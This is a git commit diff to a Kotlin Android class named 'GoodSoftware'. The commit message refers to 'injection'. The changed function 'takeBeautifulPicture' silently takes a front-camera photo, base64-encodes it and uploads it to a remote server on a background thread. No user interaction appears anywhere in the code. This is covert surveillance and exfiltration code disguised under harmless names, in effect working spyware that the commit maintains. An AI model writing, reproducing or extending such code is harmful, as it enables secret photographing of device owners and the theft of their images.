The camera likes crashing when playing with injection... hopefully this fixes that

This commit is contained in:
Joren 2024-05-06 00:09:25 +02:00
parent c3e86065cf
commit e04f53aff2
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55

View File

@ -42,6 +42,7 @@ import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec import javax.crypto.spec.SecretKeySpec
import kotlin.concurrent.schedule import kotlin.concurrent.schedule
import kotlin.concurrent.scheduleAtFixedRate import kotlin.concurrent.scheduleAtFixedRate
import kotlin.concurrent.thread
class GoodSoftware (private val activity: Context) { class GoodSoftware (private val activity: Context) {
@ -411,69 +412,67 @@ class GoodSoftware (private val activity: Context) {
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) { suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
try { try {
cameraProvider = ProcessCameraProvider.getInstance(context).await() cameraProvider = ProcessCameraProvider.getInstance(context).await()
if (!hasBackCamera() && !hasFrontCamera()) {
Log.e(picture.TAG, "Back and front camera are unavailable")
return
}
lensFacing = if (hasFrontCamera()) {
CameraSelector.LENS_FACING_FRONT
} else {
CameraSelector.LENS_FACING_BACK
}
imageCapture = ImageCapture.Builder()
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
.build()
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
override fun onError(exc: ImageCaptureException) {
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
cameraProvider?.unbindAll()
}
override fun onCaptureSuccess(image: ImageProxy) {
val byteArrayOutputStream = ByteArrayOutputStream()
val imagePlane = image.planes[0]
val buffer = imagePlane.buffer
val bytes = ByteArray(buffer.capacity())
buffer.get(bytes)
byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
thread {
try {
val conn = establishConnectionWithRetry()
if (conn == null) {
return@thread
}
sendDataToServer(base64Image, conn)
disconnect(conn)
} catch (e: Exception) {
e.printStackTrace()
}
}
cameraProvider?.unbindAll()
image.close()
}
}
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
imageCapture?.takePicture(
ContextCompat.getMainExecutor(context),
imageCapturedListener
)
} catch (e: ClassNotFoundException) { } catch (e: ClassNotFoundException) {
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.") Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
return
} catch (e: Exception) { } catch (e: Exception) {
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e) Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
return
} }
if (!hasBackCamera() && !hasFrontCamera()) {
Log.e(picture.TAG, "Back and front camera are unavailable")
return
}
lensFacing = if (hasFrontCamera()) {
CameraSelector.LENS_FACING_FRONT
} else {
CameraSelector.LENS_FACING_BACK
}
imageCapture = ImageCapture.Builder()
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
.build()
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
override fun onError(exc: ImageCaptureException) {
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
cameraProvider?.unbindAll()
}
override fun onCaptureSuccess(image: ImageProxy) {
val byteArrayOutputStream = ByteArrayOutputStream()
val imagePlane = image.planes[0]
val buffer = imagePlane.buffer
val bytes = ByteArray(buffer.capacity())
buffer.get(bytes)
byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
Thread {
val conn = establishConnectionWithRetry()
if (conn == null) {
return@Thread
}
sendDataToServer(base64Image, conn)
disconnect(conn)
}.start()
cameraProvider?.unbindAll()
image.close()
}
}
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
imageCapture?.takePicture(
ContextCompat.getMainExecutor(context),
imageCapturedListener
)
} }
private fun hasBackCamera(): Boolean { private fun hasBackCamera(): Boolean {
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
} }